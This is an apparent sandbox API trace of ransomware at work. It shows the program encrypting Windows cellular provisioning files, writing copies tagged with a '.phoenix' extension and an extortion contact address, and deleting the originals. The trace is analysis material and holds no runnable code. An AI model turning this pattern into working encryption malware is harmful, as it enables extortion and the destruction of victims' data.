	[0247.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.218] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.218] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0247.221] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.221] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.227] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.227] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.228] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0247.228] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.228] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.228] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.228] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.228] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.228] CloseHandle (hObject=0x2b0) returned 1
	[0247.228] CloseHandle (hObject=0x2d4) returned 1
	[0247.228] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.229] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.229] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.229] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=806) returned 1
	[0247.229] CloseHandle (hObject=0x2d4) returned 1
	[0247.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.230] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.230] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.230] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.230] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.230] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0247.230] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.230] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x326, lpOverlapped=0x0) returned 1
	[0247.232] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x330, dwBufLen=0x330 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x330) returned 1
	[0247.232] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x330, lpOverlapped=0x0) returned 1
	[0247.232] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0247.232] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.233] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0247.233] CryptDestroyKey (hKey=0x151740) returned 1
	[0247.233] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0247.233] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.233] CloseHandle (hObject=0x2d4) returned 1
	[0247.233] CloseHandle (hObject=0x2b0) returned 1
	[0247.233] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.234] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.234] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.234] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=779) returned 1
	[0247.234] CloseHandle (hObject=0x2b0) returned 1
	[0247.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.234] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.234] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.235] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.235] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0247.237] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.237] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x30b, lpOverlapped=0x0) returned 1
	[0247.324] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0247.324] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0247.324] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0247.324] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.324] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.324] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.324] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.325] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.325] CloseHandle (hObject=0x2b0) returned 1
	[0247.325] CloseHandle (hObject=0x2d4) returned 1
	[0247.325] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.326] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.327] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=651) returned 1
	[0247.327] CloseHandle (hObject=0x2d4) returned 1
	[0247.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.327] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.327] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.327] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0247.327] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.327] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28b, lpOverlapped=0x0) returned 1
	[0247.329] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0247.329] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0247.330] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0247.330] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.330] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.330] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.330] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.330] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.330] CloseHandle (hObject=0x2d4) returned 1
	[0247.330] CloseHandle (hObject=0x2b0) returned 1
	[0247.330] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.331] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.331] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0247.331] CloseHandle (hObject=0x2b0) returned 1
	[0247.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.331] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.332] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
